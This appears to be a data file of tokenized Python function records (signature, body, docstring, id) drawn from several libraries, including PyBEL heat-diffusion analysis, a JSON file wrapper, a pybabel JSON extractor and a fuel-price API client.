{"signature": "def workflow(<EOL>graph: BELGraph,<EOL>node: BaseEntity,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>minimum_nodes: int = <NUM_LIT:1>,<EOL>) -> List['<STR_LIT>']:", "body": "subgraph = generate_mechanism(graph, node, key=key)<EOL>if subgraph.number_of_nodes() <= minimum_nodes:<EOL><INDENT>return []<EOL><DEDENT>runners = multirun(subgraph, node, key=key, tag=tag, default_score=default_score, runs=runs)<EOL>return list(runners)<EOL>", "docstring": "Generate candidate mechanisms and run the heat diffusion workflow.\n\n    :param graph: A BEL graph\n    :param node: The BEL node that is the focus of this analysis\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param minimum_nodes: The minimum number of nodes a sub-graph needs to try running heat diffusion\n    :return: A list of runners", "id": "f9429:m2"}
{"signature": "def multirun(graph: BELGraph,<EOL>node: BaseEntity,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>use_tqdm: bool = False,<EOL>) -> Iterable['<STR_LIT>']:", "body": "if runs is None:<EOL><INDENT>runs = <NUM_LIT:100><EOL><DEDENT>it = range(runs)<EOL>if use_tqdm:<EOL><INDENT>it = tqdm(it, total=runs)<EOL><DEDENT>for i in it:<EOL><INDENT>try:<EOL><INDENT>runner = Runner(graph, node, key=key, tag=tag, default_score=default_score)<EOL>runner.run()<EOL>yield runner<EOL><DEDENT>except Exception:<EOL><INDENT>log.debug('<STR_LIT>', i, node)<EOL><DEDENT><DEDENT>", "docstring": "Run the heat diffusion workflow multiple times, each time yielding a :class:`Runner` object upon completion.\n\n    :param graph: A BEL graph\n    :param node: The BEL node that is the focus of this analysis\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param use_tqdm: Should there be a progress bar for runners?\n    :return: An iterable over the runners after each iteration", "id": "f9429:m3"}
{"signature": "def workflow_aggregate(graph: BELGraph,<EOL>node: BaseEntity,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>aggregator: Optional[Callable[[Iterable[float]], float]] = None,<EOL>) -> Optional[float]:", "body": "runners = workflow(graph, node, key=key, tag=tag, default_score=default_score, runs=runs)<EOL>scores = [runner.get_final_score() for runner in runners]<EOL>if not scores:<EOL><INDENT>log.warning('<STR_LIT>', node)<EOL>return<EOL><DEDENT>if aggregator is None:<EOL><INDENT>return np.average(scores)<EOL><DEDENT>return aggregator(scores)<EOL>", "docstring": "Get the average score over multiple runs.\n\n    This function is very simple, and can be copied to do more interesting statistics over the :class:`Runner`\n    instances. To iterate over the runners themselves, see :func:`workflow`\n\n    :param graph: A BEL graph\n    :param node: The BEL node that is the focus of this analysis\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param aggregator: A function that aggregates a list of scores. Defaults to :func:`numpy.average`.\n                       Could also use: :func:`numpy.mean`, :func:`numpy.median`, :func:`numpy.min`, :func:`numpy.max`\n    :return: The average score for the target node", "id": "f9429:m4"}
{"signature": "def workflow_all(graph: BELGraph,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>) -> Mapping[BaseEntity, List[Runner]]:", "body": "results = {}<EOL>for node in get_nodes_by_function(graph, BIOPROCESS):<EOL><INDENT>results[node] = workflow(graph, node, key=key, tag=tag, default_score=default_score, runs=runs)<EOL><DEDENT>return results<EOL>", "docstring": "Run the heat diffusion workflow and get runners for every possible candidate mechanism\n\n    1. Get all biological processes\n    2. Get candidate mechanism induced two level back from each biological process\n    3. Heat diffusion workflow for each candidate mechanism for multiple runs\n    4. Return all runner results\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :return: A dictionary of {node: list of runners}", "id": "f9429:m5"}
{"signature": "def workflow_all_aggregate(graph: BELGraph,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>runs: Optional[int] = None,<EOL>aggregator: Optional[Callable[[Iterable[float]], float]] = None,<EOL>):", "body": "results = {}<EOL>bioprocess_nodes = list(get_nodes_by_function(graph, BIOPROCESS))<EOL>for bioprocess_node in tqdm(bioprocess_nodes):<EOL><INDENT>subgraph = generate_mechanism(graph, bioprocess_node, key=key)<EOL>try:<EOL><INDENT>results[bioprocess_node] = workflow_aggregate(<EOL>graph=subgraph,<EOL>node=bioprocess_node,<EOL>key=key,<EOL>tag=tag,<EOL>default_score=default_score,<EOL>runs=runs,<EOL>aggregator=aggregator<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>log.exception('<STR_LIT>', bioprocess_node)<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Run the heat diffusion workflow to get average score for every possible candidate mechanism.\n\n    1. Get all biological processes\n    2. Get candidate mechanism induced two level back from each biological process\n    3. Heat diffusion workflow on each candidate mechanism for multiple runs\n    4. Report average scores for each candidate mechanism\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n    :param default_score: The initial score for all nodes. This number can go up or down.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param aggregator: A function that aggregates a list of scores. Defaults to :func:`numpy.average`.\n                       Could also use: :func:`numpy.mean`, :func:`numpy.median`, :func:`numpy.min`, :func:`numpy.max`\n    :return: A dictionary of {node: upstream causal subgraph}", "id": "f9429:m6"}
{"signature": "def calculate_average_score_by_annotation(<EOL>graph: BELGraph,<EOL>annotation: str,<EOL>key: Optional[str] = None,<EOL>runs: Optional[int] = None,<EOL>use_tqdm: bool = False,<EOL>) -> Mapping[str, float]:", "body": "candidate_mechanisms = generate_bioprocess_mechanisms(graph, key=key)<EOL>scores: Mapping[BaseEntity, Tuple] = calculate_average_scores_on_subgraphs(<EOL>subgraphs=candidate_mechanisms,<EOL>key=key,<EOL>runs=runs,<EOL>use_tqdm=use_tqdm,<EOL>)<EOL>subgraph_bp: Mapping[str, List[BaseEntity]] = defaultdict(list)<EOL>subgraphs: Mapping[str, BELGraph] = get_subgraphs_by_annotation(graph, annotation)<EOL>for annotation_value, subgraph in subgraphs.items():<EOL><INDENT>subgraph_bp[annotation_value].extend(get_nodes_by_function(subgraph, BIOPROCESS))<EOL><DEDENT>return {<EOL>annotation_value: np.average(scores[bp][<NUM_LIT:0>] for bp in bps)<EOL>for annotation_value, bps in subgraph_bp.items()<EOL>}<EOL>", "docstring": "For each sub-graph induced over the edges matching the annotation, calculate the average score\n    for all of the contained biological processes\n\n    Assumes you haven't done anything yet\n\n    1. Generates biological process upstream candidate mechanistic sub-graphs with\n       :func:`generate_bioprocess_mechanisms`\n    2. Calculates scores for each sub-graph with :func:`calculate_average_scores_on_sub-graphs`\n    3. Overlays data with pbt.integration.overlay_data\n    4. Calculates averages with pbt.selection.group_nodes.average_node_annotation\n\n    :param graph: A BEL graph\n    :param annotation: A BEL annotation\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :param runs: The number of times to run the heat diffusion workflow. Defaults to 100.\n    :param use_tqdm: Should there be a progress bar for runners?\n    :return: A dictionary from {str annotation value: tuple scores}\n\n    Example Usage:\n\n    >>> import pybel\n    >>> from pybel_tools.integration import overlay_data\n    >>> from pybel_tools.analysis.heat import calculate_average_score_by_annotation\n    >>> graph = pybel.from_path(...)\n    >>> scores = calculate_average_score_by_annotation(graph, 'subgraph')", "id": "f9429:m7"}
{"signature": "def __init__(self,<EOL>graph: BELGraph,<EOL>target_node: BaseEntity,<EOL>key: Optional[str] = None,<EOL>tag: Optional[str] = None,<EOL>default_score: Optional[float] = None,<EOL>) -> None:", "body": "self.graph: BELGraph = graph.copy()<EOL>self.target_node = target_node<EOL>self.key = key or WEIGHT<EOL>self.default_score = default_score or DEFAULT_SCORE<EOL>self.tag = tag or SCORE<EOL>for node, data in self.graph.nodes(data=True):<EOL><INDENT>if not self.graph.predecessors(node):<EOL><INDENT>self.graph.nodes[node][self.tag] = data.get(self.key, <NUM_LIT:0>)<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', target_node, self.graph.nodes[node][self.tag])<EOL><DEDENT><DEDENT>", "docstring": "Initialize the heat diffusion runner class.\n\n        :param graph: A BEL graph\n        :param target_node: The BEL node that is the focus of this analysis\n        :param key: The key in the node data dictionary representing the experimental data. Defaults to\n         :data:`pybel_tools.constants.WEIGHT`.\n        :param tag: The key for the nodes' data dictionaries where the scores will be put. Defaults to 'score'\n        :param default_score: The initial score for all nodes. This number can go up or down.", "id": "f9429:c0:m0"}
{"signature": "def iter_leaves(self) -> Iterable[BaseEntity]:", "body": "for node in self.graph:<EOL><INDENT>if self.tag in self.graph.nodes[node]:<EOL><INDENT>continue<EOL><DEDENT>if not any(self.tag not in self.graph.nodes[p] for p in self.graph.predecessors(node)):<EOL><INDENT>yield node<EOL><DEDENT><DEDENT>", "docstring": "Return an iterable over all nodes that are leaves.\n\n        A node is a leaf if either:\n\n         - it doesn't have any predecessors, OR\n         - all of its predecessors have a score in their data dictionaries", "id": "f9429:c0:m1"}
{"signature": "def has_leaves(self) -> List[BaseEntity]:", "body": "leaves = list(self.iter_leaves())<EOL>return leaves<EOL>", "docstring": "Return if the current graph has any leaves.\n\n        Implementation is not that smart currently, and does a full sweep.", "id": "f9429:c0:m2"}
{"signature": "def in_out_ratio(self, node: BaseEntity) -> float:", "body": "return self.graph.in_degree(node) / float(self.graph.out_degree(node))<EOL>", "docstring": "Calculate the ratio of in-degree / out-degree of a node.", "id": "f9429:c0:m3"}
{"signature": "def unscored_nodes_iter(self) -> BaseEntity:", "body": "for node, data in self.graph.nodes(data=True):<EOL><INDENT>if self.tag not in data:<EOL><INDENT>yield node<EOL><DEDENT><DEDENT>", "docstring": "Iterate over all nodes without a score.", "id": "f9429:c0:m4"}
{"signature": "def get_random_edge(self):", "body": "nodes = [<EOL>(n, self.in_out_ratio(n))<EOL>for n in self.unscored_nodes_iter()<EOL>if n != self.target_node<EOL>]<EOL>node, deg = min(nodes, key=itemgetter(<NUM_LIT:1>))<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', node, deg)<EOL>possible_edges = self.graph.in_edges(node, keys=True)<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', possible_edges)<EOL>edge_to_remove = random.choice(possible_edges)<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', edge_to_remove)<EOL>return edge_to_remove<EOL>", "docstring": "This function should be run when there are no leaves, but there are still unscored nodes. It will introduce\n        a probabilistic element to the algorithm, where some edges are disregarded randomly to eventually get a score\n        for the network. This means that the score can be averaged over many runs for a given graph, and a better\n        data structure will have to be later developed that doesn't destroy the graph (instead, annotates which edges\n        have been disregarded, later)\n\n           1. get all un-scored\n           2. rank by in-degree\n           3. weighted probability over all in-edges where lower in-degree means higher probability\n           4. pick randomly which edge\n\n        :return: A random in-edge to the lowest in/out degree ratio node. This is a 3-tuple of (node, node, key)\n        :rtype: tuple", "id": "f9429:c0:m5"}
{"signature": "def remove_random_edge(self):", "body": "u, v, k = self.get_random_edge()<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', u, v, k)<EOL>self.graph.remove_edge(u, v, k)<EOL>", "docstring": "Remove a random in-edge from the node with the lowest in/out degree ratio.", "id": "f9429:c0:m6"}
{"signature": "def remove_random_edge_until_has_leaves(self) -> None:", "body": "while True:<EOL><INDENT>leaves = set(self.iter_leaves())<EOL>if leaves:<EOL><INDENT>return<EOL><DEDENT>self.remove_random_edge()<EOL><DEDENT>", "docstring": "Remove random edges until there is at least one leaf node.", "id": "f9429:c0:m7"}
{"signature": "def score_leaves(self) -> Set[BaseEntity]:", "body": "leaves = set(self.iter_leaves())<EOL>if not leaves:<EOL><INDENT>log.warning('<STR_LIT>')<EOL>return set()<EOL><DEDENT>for leaf in leaves:<EOL><INDENT>self.graph.nodes[leaf][self.tag] = self.calculate_score(leaf)<EOL>log.log(<NUM_LIT:5>, '<STR_LIT>', leaf)<EOL><DEDENT>return leaves<EOL>", "docstring": "Calculate the score for all leaves.\n\n        :return: The set of leaf nodes that were scored", "id": "f9429:c0:m8"}
{"signature": "def run(self) -> None:", "body": "while not self.done_chomping():<EOL><INDENT>self.remove_random_edge_until_has_leaves()<EOL>self.score_leaves()<EOL><DEDENT>", "docstring": "Calculate scores for all leaves until there are none, removes edges until there are, and repeats until\n        all nodes have been scored.", "id": "f9429:c0:m9"}
{"signature": "def run_with_graph_transformation(self) -> Iterable[BELGraph]:", "body": "yield self.get_remaining_graph()<EOL>while not self.done_chomping():<EOL><INDENT>while not list(self.iter_leaves()):<EOL><INDENT>self.remove_random_edge()<EOL>yield self.get_remaining_graph()<EOL><DEDENT>self.score_leaves()<EOL>yield self.get_remaining_graph()<EOL><DEDENT>", "docstring": "Calculate scores for all leaves until there are none, removes edges until there are, and repeats until\n        all nodes have been scored. Also, yields the current graph at every step so you can make a cool animation\n        of how the graph changes throughout the course of the algorithm\n\n        :return: An iterable of BEL graphs", "id": "f9429:c0:m10"}
{"signature": "def done_chomping(self) -> bool:", "body": "return self.tag in self.graph.nodes[self.target_node]<EOL>", "docstring": "Determines if the algorithm is complete by checking if the target node of this analysis has been scored\n        yet. Because the algorithm removes edges when it gets stuck until it is un-stuck, it is always guaranteed to\n        finish.\n\n        :return: Is the algorithm done running?", "id": "f9429:c0:m11"}
{"signature": "def get_final_score(self) -> float:", "body": "if not self.done_chomping():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return self.graph.nodes[self.target_node][self.tag]<EOL>", "docstring": "Return the final score for the target node.\n\n        :return: The final score for the target node", "id": "f9429:c0:m12"}
{"signature": "def calculate_score(self, node: BaseEntity) -> float:", "body": "score = (<EOL>self.graph.nodes[node][self.tag]<EOL>if self.tag in self.graph.nodes[node] else<EOL>self.default_score<EOL>)<EOL>for predecessor, _, d in self.graph.in_edges(node, data=True):<EOL><INDENT>if d[RELATION] in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>score += self.graph.nodes[predecessor][self.tag]<EOL><DEDENT>elif d[RELATION] in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>score -= self.graph.nodes[predecessor][self.tag]<EOL><DEDENT><DEDENT>return score<EOL>", "docstring": "Calculate the new score of the given node.", "id": "f9429:c0:m13"}
{"signature": "def get_remaining_graph(self) -> BELGraph:", "body": "return self.graph.subgraph(self.unscored_nodes_iter())<EOL>", "docstring": "Allows for introspection on the algorithm at a given point by returning the sub-graph induced\n        by all unscored nodes\n\n        :return: The remaining un-scored BEL graph", "id": "f9429:c0:m14"}
{"signature": "def _get_column_nums_from_args(columns):", "body": "nums = []<EOL>for c in columns:<EOL><INDENT>for p in c.split('<STR_LIT:U+002C>'):<EOL><INDENT>p = p.strip()<EOL>try:<EOL><INDENT>c = int(p)<EOL>nums.append(c)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>start, ignore, end = p.partition('<STR_LIT:->')<EOL>try:<EOL><INDENT>start = int(start)<EOL>end = int(end)<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % c<EOL>)<EOL><DEDENT>inc = <NUM_LIT:1> if start < end else -<NUM_LIT:1><EOL>nums.extend(range(start, end + inc, inc))<EOL><DEDENT><DEDENT><DEDENT>return [n - <NUM_LIT:1> for n in nums]<EOL>", "docstring": "Turn column inputs from user into list of simple numbers.\n\n    Inputs can be:\n\n      - individual number: 1\n      - range: 1-3\n      - comma separated list: 1,2,3,4-6", "id": "f9434:m0"}
{"signature": "def _get_printable_columns(columns, row):", "body": "if not columns:<EOL><INDENT>return row<EOL><DEDENT>return tuple(row[c] for c in columns)<EOL>", "docstring": "Return only the part of the row which should be printed.", "id": "f9434:m1"}
{"signature": "def extract_json(fileobj, keywords, comment_tags, options):", "body": "data=fileobj.read()<EOL>json_extractor=JsonExtractor(data)<EOL>strings_data=json_extractor.get_lines_data()<EOL>for item in strings_data:<EOL><INDENT>messages = [item['<STR_LIT:content>']]<EOL>if item.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>messages.append(item['<STR_LIT>'])<EOL><DEDENT>yield item['<STR_LIT>'],item.get('<STR_LIT>','<STR_LIT>'),tuple(messages),[]<EOL><DEDENT>", "docstring": "Supports: gettext, ngettext. See package README or github ( https://github.com/tigrawap/pybabel-json ) for more usage info.", "id": "f9435:m0"}
{"signature": "def get_lines_data(self):", "body": "encoding = '<STR_LIT:utf-8>'<EOL>for token in tokenize(self.data.decode(encoding)):<EOL><INDENT>if token.type == '<STR_LIT>':<EOL><INDENT>if token.value == '<STR_LIT:{>':<EOL><INDENT>self.start_object()<EOL><DEDENT>elif token.value =='<STR_LIT::>':<EOL><INDENT>self.with_separator(token)<EOL><DEDENT>elif token.value == '<STR_LIT:}>':<EOL><INDENT>self.end_object()<EOL><DEDENT>elif token.value == '<STR_LIT:U+002C>':<EOL><INDENT>self.end_pair()<EOL><DEDENT><DEDENT>elif token.type=='<STR_LIT:string>':<EOL><INDENT>if self.state=='<STR_LIT:key>':<EOL><INDENT>self.current_key=unquote_string(token.value)<EOL>if self.current_key==JSON_GETTEXT_KEYWORD:<EOL><INDENT>self.gettext_mode=True<EOL><DEDENT><DEDENT>if self.gettext_mode:<EOL><INDENT>if self.current_key==JSON_GETTEXT_KEY_CONTENT:<EOL><INDENT>self.token_to_add=token<EOL><DEDENT>elif self.current_key==JSON_GETTEXT_KEY_ALT_CONTENT:<EOL><INDENT>self.token_params['<STR_LIT>']=token<EOL><DEDENT>elif self.current_key==JSON_GETTEXT_KEY_FUNCNAME:<EOL><INDENT>self.token_params['<STR_LIT>']=token.value<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.token_to_add=token<EOL><DEDENT><DEDENT><DEDENT>return self.results<EOL>", "docstring": "Returns string:line_numbers list\nSince all strings are unique it is OK to get line numbers this way.\nSince same string can occur several times inside single .json file the values should be popped(FIFO) from the list\n:rtype: list", "id": "f9435:c0:m7"}
{"signature": "def tearDown(self):", "body": "if os.path.exists(self.path):<EOL><INDENT>os.remove(self.path)<EOL><DEDENT>", "docstring": "Called after each test to remove the file", "id": "f9440:c0:m0"}
{"signature": "def _initfile(path, data=\"<STR_LIT>\"):", "body": "data = {} if data.lower() == \"<STR_LIT>\" else []<EOL>if not os.path.exists(path):  <EOL><INDENT>dirname = os.path.dirname(path)<EOL>if dirname and not os.path.exists(dirname):<EOL><INDENT>raise IOError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(os.path.dirname(path))<EOL>)<EOL><DEDENT>with open(path, \"<STR_LIT:w>\") as f:<EOL><INDENT>json.dump(data, f)<EOL><DEDENT>return True<EOL><DEDENT>elif os.path.getsize(path) == <NUM_LIT:0>:  <EOL><INDENT>with open(path, \"<STR_LIT:w>\") as f:<EOL><INDENT>json.dump(data, f)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Initialize an empty JSON file.", "id": "f9441:m0"}
{"signature": "def _checkType(self, key):", "body": "pass<EOL>", "docstring": "Make sure the type of a key is appropriate.", "id": "f9441:c0:m4"}
{"signature": "def _data(self):", "body": "if self.is_caching:<EOL><INDENT>return self.cache<EOL><DEDENT>with open(self.path, \"<STR_LIT:r>\") as f:<EOL><INDENT>return json.load(f)<EOL><DEDENT>", "docstring": "A simpler version of data to avoid infinite recursion in some cases.\n\n        Don't use this.", "id": "f9441:c4:m1"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "<EOL>self._updateType()<EOL>return self._data()<EOL>", "docstring": "Get a vanilla dict object to represent the file.", "id": "f9441:c4:m2"}
{"signature": "@data.setter<EOL><INDENT>def data(self, data):<DEDENT>", "body": "if self.is_caching:<EOL><INDENT>self.cache = data<EOL><DEDENT>else:<EOL><INDENT>fcontents = self.file_contents<EOL>with open(self.path, \"<STR_LIT:w>\") as f:<EOL><INDENT>try:<EOL><INDENT>indent = self.indent if self.pretty else None<EOL>json.dump(data, f, sort_keys=self.sort_keys, indent=indent)<EOL><DEDENT>except Exception as e:<EOL><INDENT>f.seek(<NUM_LIT:0>)<EOL>f.truncate()<EOL>f.write(fcontents)<EOL>raise e<EOL><DEDENT><DEDENT><DEDENT>self._updateType()<EOL>", "docstring": "Overwrite the file with new data. You probably shouldn't do\n        this yourself, it's easy to screw up your whole file with this.", "id": "f9441:c4:m3"}
{"signature": "def _updateType(self):", "body": "data = self._data()<EOL>if isinstance(data, dict) and isinstance(self, ListFile):<EOL><INDENT>self.__class__ = DictFile<EOL><DEDENT>elif isinstance(data, list) and isinstance(self, DictFile):<EOL><INDENT>self.__class__ = ListFile<EOL><DEDENT>", "docstring": "Make sure that the class behaves like the data structure that it\n        is, so that we don't get a ListFile trying to represent a dict.", "id": "f9441:c4:m6"}
{"signature": "def set_data(self, data):", "body": "warnings.warn(<EOL>\"<STR_LIT>\",<EOL>DeprecationWarning<EOL>)<EOL>self.data = data<EOL>", "docstring": "Equivalent to setting the \"data\" attribute. Exists for backwards\n        compatibility.", "id": "f9441:c4:m7"}
{"signature": "def remove(self):", "body": "os.remove(self.path)<EOL>", "docstring": "Delete the file from the disk completely.", "id": "f9441:c4:m8"}
{"signature": "@property<EOL><INDENT>def file_contents(self):<DEDENT>", "body": "with open(self.path, \"<STR_LIT:r>\") as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Get the raw file contents of the file.", "id": "f9441:c4:m9"}
{"signature": "@property<EOL><INDENT>def is_caching(self):<DEDENT>", "body": "return hasattr(self, \"<STR_LIT>\")<EOL>", "docstring": "Returns a boolean value describing whether a grouped write is\n        underway.", "id": "f9441:c4:m10"}
{"signature": "def clear(self):<EOL>", "body": "self.data = []<EOL>", "docstring": "L.clear() -> None -- remove all items from L.", "id": "f9441:c6:m1"}
{"signature": "@staticmethod<EOL><INDENT>def with_data(path, data):<DEDENT>", "body": "<EOL>if isinstance(data, str):<EOL><INDENT>data = json.loads(data)<EOL><DEDENT>if os.path.exists(path):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>f = File(path)<EOL>f.data = data<EOL>return f<EOL><DEDENT>", "docstring": "Initialize a new file that starts out with some data. Pass data\n        as a list, dict, or JSON string.", "id": "f9441:c7:m1"}
{"signature": "def get_fuel_prices(self) -> GetFuelPricesResponse:", "body": "response = requests.get(<EOL>'<STR_LIT>'.format(API_URL_BASE),<EOL>headers=self._get_headers(),<EOL>timeout=self._timeout,<EOL>)<EOL>if not response.ok:<EOL><INDENT>raise FuelCheckError.create(response)<EOL><DEDENT>return GetFuelPricesResponse.deserialize(response.json())<EOL>", "docstring": "Fetches fuel prices for all stations.", "id": "f9446:c0:m3"}
{"signature": "def get_fuel_prices_for_station(<EOL>self,<EOL>station: int<EOL>) -> List[Price]:", "body": "response = requests.get(<EOL>'<STR_LIT>'.format(API_URL_BASE, station),<EOL>headers=self._get_headers(),<EOL>timeout=self._timeout,<EOL>)<EOL>if not response.ok:<EOL><INDENT>raise FuelCheckError.create(response)<EOL><DEDENT>data = response.json()<EOL>return [Price.deserialize(data) for data in data['<STR_LIT>']]<EOL>", "docstring": "Gets the fuel prices for a specific fuel station.", "id": "f9446:c0:m4"}
{"signature": "def get_fuel_prices_within_radius(<EOL>self, latitude: float, longitude: float, radius: int,<EOL>fuel_type: str, brands: Optional[List[str]] = None<EOL>) -> List[StationPrice]:", "body": "if brands is None:<EOL><INDENT>brands = []<EOL><DEDENT>response = requests.post(<EOL>'<STR_LIT>'.format(API_URL_BASE),<EOL>json={<EOL>'<STR_LIT>': fuel_type,<EOL>'<STR_LIT>': latitude,<EOL>'<STR_LIT>': longitude,<EOL>'<STR_LIT>': radius,<EOL>'<STR_LIT>': brands,<EOL>},<EOL>headers=self._get_headers(),<EOL>timeout=self._timeout,<EOL>)<EOL>if not response.ok:<EOL><INDENT>raise FuelCheckError.create(response)<EOL><DEDENT>data = response.json()<EOL>stations = {<EOL>station['<STR_LIT:code>']: Station.deserialize(station)<EOL>for station in data['<STR_LIT>']<EOL>}<EOL>station_prices = []  <EOL>for serialized_price in data['<STR_LIT>']:<EOL><INDENT>price = Price.deserialize(serialized_price)<EOL>station_prices.append(StationPrice(<EOL>price=price,<EOL>station=stations[price.station_code]<EOL>))<EOL><DEDENT>return station_prices<EOL>", "docstring": "Gets all the fuel prices within the specified radius.", "id": "f9446:c0:m5"}
{"signature": "def get_fuel_price_trends(self, latitude: float, longitude: float,<EOL>fuel_types: List[str]) -> PriceTrends:", "body": "response = requests.post(<EOL>'<STR_LIT>'.format(API_URL_BASE),<EOL>json={<EOL>'<STR_LIT:location>': {<EOL>'<STR_LIT>': latitude,<EOL>'<STR_LIT>': longitude,<EOL>},<EOL>'<STR_LIT>': [{'<STR_LIT:code>': type} for type in fuel_types],<EOL>},<EOL>headers=self._get_headers(),<EOL>timeout=self._timeout,<EOL>)<EOL>if not response.ok:<EOL><INDENT>raise FuelCheckError.create(response)<EOL><DEDENT>data = response.json()<EOL>return PriceTrends(<EOL>variances=[<EOL>Variance.deserialize(variance)<EOL>for variance in data['<STR_LIT>']<EOL>],<EOL>average_prices=[<EOL>AveragePrice.deserialize(avg_price)<EOL>for avg_price in data['<STR_LIT>']<EOL>]<EOL>)<EOL>", "docstring": "Gets the fuel price trends for the given location and fuel types.", "id": "f9446:c0:m6"}
{"signature": "def get_reference_data(<EOL>self,<EOL>modified_since: Optional[datetime.datetime] = None<EOL>) -> GetReferenceDataResponse:", "body": "if modified_since is None:<EOL><INDENT>modified_since = datetime.datetime(year=<NUM_LIT>, month=<NUM_LIT:1>, day=<NUM_LIT:1>)<EOL><DEDENT>response = requests.get(<EOL>'<STR_LIT>'.format(API_URL_BASE),<EOL>headers={<EOL>'<STR_LIT>': self._format_dt(modified_since),<EOL>**self._get_headers(),<EOL>},<EOL>timeout=self._timeout,<EOL>)<EOL>if not response.ok:<EOL><INDENT>raise FuelCheckError.create(response)<EOL><DEDENT>return GetReferenceDataResponse.deserialize(response.json())<EOL>", "docstring": "Fetches API reference data.\n\n:param modified_since: The response will be empty if no\nchanges have been made to the reference data since this\ntimestamp, otherwise all reference data will be returned.", "id": "f9446:c0:m7"}
{"signature": "def data(provider_method, first_param_name_suffix=False):", "body": "def test_func_decorator(test_func):<EOL><INDENT>test_func._provider_method = provider_method<EOL>test_func._provider_name_suffix = first_param_name_suffix<EOL>return test_func<EOL><DEDENT>return test_func_decorator<EOL>", "docstring": "A method decorator for unittest.TestCase classes that configured a\nstatic method to be used to provide multiple sets of test data to a single\ntest\n\n:param provider_method:\n    The name of the staticmethod of the class to use as the data provider\n\n:param first_param_name_suffix:\n    If the first parameter for each set should be appended to the method\n    name to generate the name of the test. Otherwise integers are used.\n\n:return:\n    The decorated function", "id": "f9453:m0"}
{"signature": "def data_decorator(cls):", "body": "def generate_test_func(name, original_function, num, params):<EOL><INDENT>if original_function._provider_name_suffix:<EOL><INDENT>data_name = params[<NUM_LIT:0>]<EOL>params = params[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>data_name = num<EOL><DEDENT>expanded_name = '<STR_LIT>' % (name, data_name)<EOL>def generated_test_function(self):<EOL><INDENT>original_function(self, *params)<EOL><DEDENT>setattr(cls, expanded_name, generated_test_function)<EOL><DEDENT>for name in dir(cls):<EOL><INDENT>func = getattr(cls, name)<EOL>if hasattr(func, '<STR_LIT>'):<EOL><INDENT>num = <NUM_LIT:1><EOL>for params in getattr(cls, func._provider_method)():<EOL><INDENT>generate_test_func(name, func, num, params)<EOL>num += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return cls<EOL>", "docstring": "A class decorator that works with the @provider decorator to generate test\nmethod from a data provider", "id": "f9453:m1"}
{"signature": "def close(self):", "body": "if not self.socket:<EOL><INDENT>return<EOL><DEDENT>self.socket.close()<EOL>self.socket = None<EOL>", "docstring": "Closes any open connection", "id": "f9454:c2:m1"}
